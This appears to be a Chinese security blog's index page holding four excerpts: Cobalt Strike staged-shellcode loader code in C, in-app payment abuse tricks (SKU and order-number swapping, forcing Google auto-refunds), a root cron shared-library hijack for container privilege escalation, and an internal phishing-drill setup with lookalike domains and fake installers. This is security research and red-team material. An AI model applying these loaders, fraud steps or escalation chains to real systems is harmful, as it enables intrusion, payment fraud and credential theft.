背景
起源于一个问题:CS怎么用ReBeacon打包成的EXE/DLL?
- stageless 表示把所有功能全部打包到一个文件里面
- staged 小片段的shellcode拉一个beacon.dll(
小马拉大马),其中ReBeacon就是beacon.dll的实现
Staged Shellcode工作流程
第一阶段
很常规的生成一个shellcode,写一个简单的程序加载然后调试:
方式1
#include<stdio.h>
#include<Windows.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "";
int main() {
__asm {
mov ecx, offset buf
jmp ecx
}
}
方式2
#include<stdio.h>
#include<Windows.h>
int main() {
unsigned char buf[] = "shellcode";
LPVOID address = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(address, buf, sizeof(buf));
((void(*)())address)();
return 0;
}
Read More
0x1. 低价值替换高价值SKU
在IOS平台上面支付完成之后,立刻杀掉进程,然后重新开启APP抓包,此时触发补单操作,拦截包之后,修改sku字段为高价值商品,尝试是否可以成功。
或者在Burp抓支付包的时候,因为apple服务接口验证了证书,可以在burp的TLS Pass Through
配置绕过apple的域名,不对其进行抓包。
0x2. 替换订单号
首先产生一个未支付的高价值的订单号,其次正常购买低价值商品,打断后端返回的response,替换response里面的订单号为高价值订单号,然后尝试支付成功之后商品的数量。一般适用于Google支付。
0x3. 利用Google机制自动退款
Google的SDK支付成功之后,客户端会发起一个接口请求: https://play-fe.googleapis.com/fdfe/consumePurchase
Google Play结算服务官方文档中关于处理购买交易的描述:在三天内未确认购买交易,则用户会自动收到退款,并且Google Play会撤消该购买交易,可以利用此规则进行退款。这种攻击一般针对一次性消耗品,当然重复的也可以。在支付完成之后,拦截上面的请求之后丢弃,如果服务端未做正确处理,则三天之后Google会自动退款。
修复方式:后端手动调用确认接口进行二次确认acknowledge,一般400可以视为已确认,409的时候需要查询一次状态,已确认状态可以放行,否则掉单处理。
0x4. IOS跨应用票据伪造
Read More
AnalyticDB for PostgreSQL
容器提权
首先发现了一个ROOT定时任务,该定时任务每分钟执行一次二进制文件/usr/bin/tsar
:
$: ls -lah /etc/cron.d/tsar
-rw-r--r-- 1 root root 99 Apr 19 2021 /etc/cron.d/tsar
$: cat /etc/cron.d/tsar
MAILTO=""
* * * * * root /usr/bin/tsar --cron > /dev/null 2>&1
使用ldd
发现从自定义路径加载共享库,其中的一个路径/u01
对于当前用户adbpgadmin
是可写的。
$: ls -alh /u01/adbpg/lib/libgcc_s.so.1
-rwxr-xr-x 1 adbpgadmin adbpgadmin 102K Oct 27 12:22 /u01/adbpg/lib/libgcc_s.so.1
如果用自己的共享库覆盖这个文件,那么下次就会以root权限执行自定义的代码,攻击流程:
- 编译一个共享库,功能是将
/bin/bash
复制到/bin/dash
,并添加SUID权限。
- 把编译好的共享库使用PatchELF,添加到
libgcc_s.so.1
,这样当libgcc_s.so.1
被加载的时候,恶意代码会被执行。
- 覆盖
libgcc_s.so.1
库
- 等待定时任务执行
最终获取Root权限:
Read More
背景
一年一度的钓鱼节,需要针对公司员工做一次钓鱼演练,前期准备工作如下:
- 确定钓鱼的页面:图方便选了一个登录入口,用Chrome插件SingleFile右键一键保存
- 确定钓鱼的形式:引导用户输入公司邮箱,点击完成之后,弹出需要安装插件,根据UA决定是下载pkg还是exe。
- 确定钓鱼的效果:从三个数据维度来看最终效果
- 钓鱼页面访问次数
- 输入公司邮箱的数量统计
- 收集运行了Exe和Pkg的用户
钓鱼邮件的发送
有两种形式可以发送钓鱼邮件:
- 使用相近域名
- 使用sendcloud
相近域名发送
注册相近域名之后,可以根据这里的步骤绑定使用zoho的免费企业邮箱: 2021年四款国内外免费企业邮箱及申请教程图解
使用SendCloud
注册SendCloud之后,生成API Key,利用以下代码发送钓鱼邮件:
Read More